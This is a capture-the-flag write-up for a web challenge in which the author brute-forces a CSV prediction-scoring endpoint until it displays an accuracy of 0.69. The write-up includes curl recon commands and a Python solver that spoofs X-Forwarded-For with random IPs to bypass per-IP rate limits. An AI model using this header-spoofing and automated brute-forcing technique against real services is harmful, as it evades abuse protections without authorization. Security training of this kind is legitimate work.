Challenge Overview
Category: Web
Points: 492
Target: http://chall.ehax.in:4529/
Objective: Trigger the success page and extract the flag by submitting CSV predictions with exactly an accuracy of 0.69.
TL;DR: The web app accepts .csv and .pkl submissions. For CSV, it calculates accuracy against a hidden solution and unlocks the flag page when displayed accuracy is exactly 0.69. By generating valid CSV predictions (2276 rows), bypassing the rate-limit via X-Forwarded-For, and brute-forcing submissions near the right class ratio, we trigger the success page and extract the flag.
1. Initial Recon
Open challenge page:
curl -i -s http://chall.ehax.in:4529/ | sed -n '1,220p'The page contains:
- Data download links:
/data/train.csv/data/test.csv/data/sample_sub.csv
- Upload form posting to
/submit - Accepted formats shown in UI:
.csvor.pkl
Download assets:
curl -s -o /tmp/train.csv http://chall.ehax.in:4529/data/train.csvcurl -s -o /tmp/test.csv http://chall.ehax.in:4529/data/test.csvcurl -s -o /tmp/sample_sub.csv http://chall.ehax.in:4529/data/sample_sub.csvwc -l /tmp/train.csv /tmp/test.csv /tmp/sample_sub.csvImportant finding:
test.csv has 2276 data rows (2277 lines including the header).
2. Submission Behavior Mapping
2.1 CSV Row-Count Validation
Submitting a tiny sample CSV:
curl -i -s -X POST -F 'submission=@/tmp/sample_sub.csv' http://chall.ehax.in:4529/submitError reveals:
submission has 8 rows, expected 2276
So valid CSV must have exactly 2276 predictions.
2.2 Baseline Accuracy Probes
Submitting all zeros:
import pandas as pdpd.DataFrame({"In Black Book":[0]*2276}).to_csv("/tmp/sub0.csv", index=False)Uploading this file results in the score page showing:
SUBJECT ACCURACY RATING: 0.73
Submitting random predictions yields an accuracy around 0.49 (varies).
Thus, the /submit endpoint acts as an oracle returning rounded accuracy.
3. Win Condition Discovery
Most responses return a normal evaluation page, but occasionally a different page appears:
<title>Epstein Comp | DECLASSIFIED DATA</title>
That success page explicitly states:
ACCURACY THRESHOLD // 0.69
And contains the flag directly in the HTML (inside a “redacted” span).
Therefore, the objective is not to build the “best model,” but to hit a displayed accuracy exactly equivalent to 0.69.
4. Practical Exploitation Strategy
4.1 Why Brute Force Works
The app compares predicted labels to hidden solution labels and rounds the accuracy to 2 decimals before display.
Any actual accuracy that rounds to 0.69 unlocks the flag page. This means the target interval is approximately [0.685, 0.695).
Since we only need to submit binary vectors, we can repeatedly sample random predictions until we randomly land inside that interval.
4.2 Rate-Limit Bypass
The /submit endpoint has per-IP rate limits (X-RateLimit-* headers), but the server mistakenly trusts the X-Forwarded-For header.
Sending a spoofed header with random IPs for each request grants a fresh quota:
X-Forwarded-For: 12.34.56.78This allows us to brute-force the endpoint rapidly without getting blocked.
4.3 Effective Search Zone
Empirically, random vectors containing roughly ~200-220 ones out of 2276 elements frequently produced scores near 0.68-0.70, making this a small, highly effective target region.
In my successful run, a vector with exactly k = 214 ones hit the success page immediately.
5. Solver Script (Automated)
We can automate the attack using Python and the Requests module.
import pandas as pd, random, requests, re
url = "http://chall.ehax.in:4529/submit"n = 2276
for attempt in range(1, 2000): # Tune around empirically successful range k = random.choice(range(200, 221))
pred = [0] * n for idx in random.sample(range(n), k): pred[idx] = 1
path = "/tmp/sub.csv" pd.DataFrame({"In Black Book": pred}).to_csv(path, index=False)
spoof_ip = ".".join(str(random.randint(1, 254)) for _ in range(4)) with open(path, "rb") as f: r = requests.post( url, files={"submission": ("sub.csv", f, "text/csv")}, headers={"X-Forwarded-For": spoof_ip}, timeout=20, )
# Direct flag capture m = re.search(r"EH4X\{[^}]+\}", r.text) if m: print(f"[+] Attempt {attempt}: {m.group(0)}") break
# Optional progress output title = re.search(r"<title>(.*?)</title>", r.text, re.S) if title: print(f"[-] Attempt {attempt}: {title.group(1).strip()}")6. Result
Running the automated script quickly triggers the DECLASSIFIED DATA page and extracts the flag:
EH4X{epst3in_d1dnt_k1ll_h1ms3lf_but_th1s_m0d3l_d1d}